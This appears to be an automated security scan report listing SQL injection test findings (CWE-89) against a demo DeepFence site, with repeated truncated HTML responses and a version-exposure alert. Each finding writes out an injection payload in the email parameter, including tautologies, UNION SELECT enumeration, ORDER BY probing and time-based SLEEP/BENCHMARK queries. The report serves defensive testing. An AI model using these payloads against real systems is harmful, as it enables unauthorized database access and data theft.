iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1089
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io admin") or ("1"="1
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1090
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Valuedemouser@deepfence.io UNION ALL SELECT 
1,2,3,4,5,6,7,8,9,10,11,12,13
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1091
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 5650=CONVERT(INT,(UNION ALL 
SELECTCHAR(88)))--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1092
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1093
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 25
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1094
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io'*'
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1095Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION SELECT @@VERSION,SLEEP(5),USER(),BENCHMARK(
1000000,MD5('A')),
5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1096
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioORDER BY 12--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1097
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION SELECT @@VERSION,SLEEP(5),USER(),
BENCHMARK(1000000,MD5('A')),5,6,7,8,9,10,11,12,13,14
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1098
Scan SQL Injection
Severity ERROREndpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27
--
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1099
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io AND 7506=9091 AND (5913=5913
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZSBJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1100
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io UNION ALL SELECT 'INJ'||'ECT'||'XXX',2,3,4,5,6,7,8,9
#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1101
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GETModified 
ParametersName Value
demouser@
deepfence.ioUNION ALL SELECT 'INJ'||'ECT'||'XXX',
2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessary
hints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1102
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@
deepfence.io'=0--+
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
z8ozHHjt2HNsJdmLyMGpjglEpoRWvNhCpRa1UAVLhg48Wif5U6oMvkPrDV6la8VFohfrRFrWCg
AQIoqIkiLwKcYJDHMexE789k3nP3Nc5p/vOmCStnTagjn11x54zZ6+
z9tp77YtKKQhfvzmyBCUBcG6pDp1JAz6ercP+oSRkXQE1R8DlgguFqg93Dy...
Alerts Sensitive Information Exposure: [Version x.y.z] Exposing version numbers gives unnecessaryhints on your systems vulnerabilities - Token [(?s).*\w+/\d{1,2}(\.\d{1,3})+.*] found [3/3.5.16]
Action Points You may need to remove SQL tokens from the contents of the parameter  demouser@
deepfence.io
CWE-ID CWE-89
Issue Number #1103
Scan SQL Injection
Severity ERROR
Endpoint https://deepfence.show/
Request GET https://deepfence.show/ HTTP/1.1
Test Step GET
Modified 
ParametersName Value
demouser@deepfence.io WHERE 1=1 AND 1=0#
ResponseContent-type: text/html; charset=UTF-8
7785 Content length: 
Response is too big. Beginning of the response:
<!DOCTYPE html> <html lang="en"> <head> <!-- Required meta tags --> <title
>DeepFence</title> <meta charset="utf-8"> <meta name="viewport" content="
width=device-width, initial-scale=1, shrink-to-fit=no"> <script src="/
cdn-cgi/apps/head/loFQ1Z6Js1J4MHXKX0-rl81O2OQ.js"></script><script 
language="javascript"> window.__DF_CSRF_TOKEN = "$__CSRF_TOKEN_PLACEHOLDER
__"; </script> <!-- Start of Zendesk Widget script --> <!-- <script id="
ze-snippet" src="https://static.zdassets.com/ekr/snippet.js?key=c377ac9e-
9a0a-4c32-aed4-bfb86b515320"> </script> --> <!-- End of Zendesk Widget 
script --> <!-- Bootstrap CSS --> <link rel="shortcut icon" type="image/
png" href="data:image/png;base64,
iVBORw0KGgoAAAANSUhEUgAAACAAAAAgCAYAAABzenr0AAAAGXRFWHRTb2Z0d2FyZQBBZG9iZS
BJbWFnZVJlYWR5ccllPAAACaxJREFUeNqsV1tsXNUV3fvcc1/
